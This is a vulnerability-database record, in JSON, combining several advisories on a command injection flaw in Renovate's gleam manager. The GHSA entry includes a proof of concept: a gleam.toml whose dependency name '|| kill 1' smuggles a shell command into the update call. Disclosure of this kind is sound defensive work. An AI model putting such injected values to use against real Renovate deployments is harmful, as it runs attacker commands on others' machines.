{"id":"CVE-2026-76233","aliases":["EUVD-2026-62474","GHSA-xjr7-3c3g-m763","GHSA-xmpw-q5r4-p783"],"status":"published","title":"Renovate 39.53.0 before 40.33.0 Command Injection via gleam manager","description":"Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.","severity":{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01003,"percentile":0.63181,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-77"],"published":"2026-01-13T20:29:00Z","modified":"2026-10-28T02:30:42Z","fixes":[{"ecosystem":"npm","package":"renovate","fixed_in":["40.33.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"renovate","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"39.53.0"},{"fixed":"40.33.0"}]}]},{"source":"osv","ecosystem":"npm","package":"renovate","ranges":[{"type":"SEMVER","events":[{"introduced":"39.53.0"},{"fixed":"40.33.0"}]}]}],"products":[{"vendor":"renovatebot","product":"renovate"}],"references":[{"url":"https://github.com/renovatebot/renovate/security/advisories/GHSA-xjr7-3c3g-m763","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38","tags":["patch","fix"]},{"url":"https://www.vulncheck.com/advisories/renovate-before-command-injection-via-gleam-manager","tags":["third-party-advisory","advisory"]},{"url":"https://github.com/advisories/GHSA-xjr7-3c3g-m763"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76233","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xmpw-q5r4-p783"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/76xxx/CVE-2026-76233.json","tags":["advisory"]},{"url":"https://github.com/renovatebot/renovate","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-76233","title":"Renovate 39.53.0 before 40.33.0 Command Injection via gleam manager","description":"Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.","status":"published","published":"2026-08-19T14:02:13.767Z","modified":"2026-08-19T14:45:31.617Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T13:46:32.755125Z"}],"euvd":[{"id":"EUVD-2026-62474","description":"Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.","status":"published","published":"2026-08-19T14:02:13Z","modified":"2026-08-19T14:45:31Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:44.906351Z"}],"ghsa":[{"id":"GHSA-xjr7-3c3g-m763","title":"Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file","description":"### Summary\nThe user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization.\n\n### Details\nAdversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.\nAll values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n  $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n  customDatasources: {\n    always: {\n      defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n      transformTemplates: ['{\"releases\":[{\"version\":\"99999.0.0\"}]}'],\n    },\n  },\n  packageRules: [\n    {\n      // Target of the day\n      matchManagers: [\"gleam\"],\n      // Trick the manager in believing there's a new version\n      overrideDatasource: \"custom.always\",\n    },\n  ],\n}\n\n```\n\n\n`gleam.toml`:\n\n```toml\nname = \"renovate-aci-2\"\nversion = \"0.0.1\"\n\n[dependencies]\n\"|| kill 1\" = \"0.1.0\"\n```\n\n\n`manifest.toml`:\n\n```toml\nnon-empty file\n```\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n### Impact\nThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.","status":"published","published":"2026-01-13T20:29:00Z","modified":"2026-01-13T20:29:03Z","cvss":[{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"medium"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:39:17.333958Z"},{"id":"GHSA-xmpw-q5r4-p783","title":"Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the...","description":"Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.","status":"published","published":"2026-08-19T15:32:35Z","modified":"2026-08-19T15:32:38Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"medium"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:10:39.892418Z"}],"nvd":[{"id":"CVE-2026-76233","description":"Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.","status":"published","published":"2026-08-19T14:17:50.957Z","modified":"2026-09-08T20:28:37.587Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:12:39.962615Z"}],"osv":[{"id":"CVE-2026-76233","title":"Renovate 39.53.0 before 40.33.0 Command Injection via gleam manager","description":"Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.","status":"published","published":"2026-08-19T14:02:13.767Z","modified":"2026-10-28T02:30:42.087909288Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:45:17.102988Z"},{"id":"GHSA-xjr7-3c3g-m763","title":"Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file","description":"### Summary\nThe user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization.\n\n### Details\nAdversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.\nAll values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n  $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n  customDatasources: {\n    always: {\n      defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n      transformTemplates: ['{\"releases\":[{\"version\":\"99999.0.0\"}]}'],\n    },\n  },\n  packageRules: [\n    {\n      // Target of the day\n      matchManagers: [\"gleam\"],\n      // Trick the manager in believing there's a new version\n      overrideDatasource: \"custom.always\",\n    },\n  ],\n}\n\n```\n\n\n`gleam.toml`:\n\n```toml\nname = \"renovate-aci-2\"\nversion = \"0.0.1\"\n\n[dependencies]\n\"|| kill 1\" = \"0.1.0\"\n```\n\n\n`manifest.toml`:\n\n```toml\nnon-empty file\n```\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n### Impact\nThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.","status":"published","published":"2026-01-13T20:29:00Z","modified":"2026-08-20T04:04:16.397465515Z","cvss":[{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"medium"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:47:00.198893Z"}]}}
